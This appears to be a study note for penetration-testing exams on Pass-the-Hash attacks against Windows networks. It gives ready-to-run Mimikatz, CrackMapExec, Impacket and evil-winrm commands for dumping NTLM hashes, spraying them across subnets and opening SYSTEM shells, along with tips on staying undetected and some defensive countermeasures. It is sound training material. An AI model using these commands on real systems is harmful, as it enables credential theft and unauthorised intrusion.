Pass-the-Hash
Table of Contents
In a Windows environment, passwords are not stored in plaintext; instead, they are transformed into mathematical representations called hashes (typically NTLM). When you log into a service over a network using NTLM authentication, the protocol validates your identity by using this hash.
Because the system treats the hash as the "proof of identity," an attacker who successfully steals a hash from a machine's memory (using tools like mimikatz) can simply "pass" that hash to another machine. The target machine accepts the hash as valid evidence that the user knows the password, granting the attacker access.
Related: Mimikatz Pass-the-Ticket Kerberos Lateral movement Active Directory BloodHound
Why it is Effective
- No Cracking Required: Attackers don't need to spend time or computing power trying to "crack" the hash back into a password.
- SSO Convenience: Because Windows uses Single Sign-On (SSO) features, hashes for multiple users (including Domain Admins) are often cached in the memory of workstations they have logged into.
- Lateral Movement: PtH is a primary method for moving from a low-privilege workstation to a high-value server.
Defensive Countermeasures
- Restricted Admin Groups: Limiting where administrators can log in to prevent their hashes from being cached on high-risk machines.
- LSA Protection & Credential Guard: Modern Windows features that isolate the process (LSASS) where these hashes are stored.
- Kerberos: Moving away from NTLM toward Kerberos authentication makes PtH significantly harder (though it introduces other risks like Golden Tickets — see Pass-the-Ticket).
Examples
1. Extracting the Hash
Before passing a hash, an attacker must first harvest it. This is commonly done using Mimikatz on a compromised machine where they have administrative rights.
# Using Mimikatz to dump NTLM hashes from memory sekurlsa::logonpasswords
Output Example: User: Administrator | NTLM: 2b5762c448386345672224090018678d
Hashes are also commonly obtained without ever touching LSASS directly — via BloodHound-identified DCSync rights (see the Mimikatz note's DCSync section), or from a SAM/NTDS.dit dump on a compromised host.
2. Passing the Hash with CrackMapExec
CrackMapExec (CME) is a popular tool for lateral movement. An attacker can use the captured hash to see if it works on other machines in the network.
# Attempt to authenticate to an entire subnet using the Administrator hash cme smb 192.168.1.0/24 -u Administrator -H 2b5762c448386345672224090018678d # Confirm which hosts accepted the hash before attempting further action cme smb 192.168.1.0/24 -u Administrator -H 2b5762c448386345672224090018678d --shares
3. Spawning a Shell (Impacket)
Using the Impacket library, an attacker can get a full command-line shell on a remote target using only the hash.
# Using psexec.py to gain a SYSTEM shell on a remote target python3 psexec.py -hashes :2b5762c448386345672224090018678d Administrator@192.168.1.50 # wmiexec.py — quieter alternative, doesn't drop a service binary # to disk the way psexec.py does python3 wmiexec.py -hashes :2b5762c448386345672224090018678d Administrator@192.168.1.50
4. Pass-the-Hash with evil-winrm
If WinRM is available on the target, evil-winrm accepts a hash directly rather than requiring a plaintext password.
evil-winrm -i 192.168.1.50 -u Administrator -H 2b5762c448386345672224090018678d
Choosing a Tool
| Tool | Gives you | Noise level |
|---|---|---|
| CrackMapExec | Fast spray across many hosts, no shell | Low — good for initial "does this hash work anywhere" sweep |
| psexec.py | Full SYSTEM shell | Higher — drops and runs a service binary on disk |
| wmiexec.py | Full shell, semi-interactive | Lower than psexec — no service binary dropped |
| evil-winrm | Full interactive shell via WinRM | Depends on WinRM logging; requires WinRM enabled on target |
Tips
- Spray with CrackMapExec across the whole subnet first to identify which hosts accept the hash before committing to a specific exploitation tool — no point spawning a shell attempt against a host that will reject the hash anyway
wmiexec.pyis generally quieter thanpsexec.pysince it doesn't write a service executable to disk — prefer it when detection/OpSec matters, though on a CTF/exam context this rarely affects outcome- A hash obtained via Mimikatz's
sekurlsa::logonpasswordsonly reflects accounts that have actually logged into that specific machine — if the target account you want has never logged into the box you're on, look toward DCSync or NTDS.dit extraction instead - On the exam, PtH is classified under Lateral Movement / Credential-based attacks, not a standalone finding category — tie it back to how the hash was originally obtained when writing up the full chain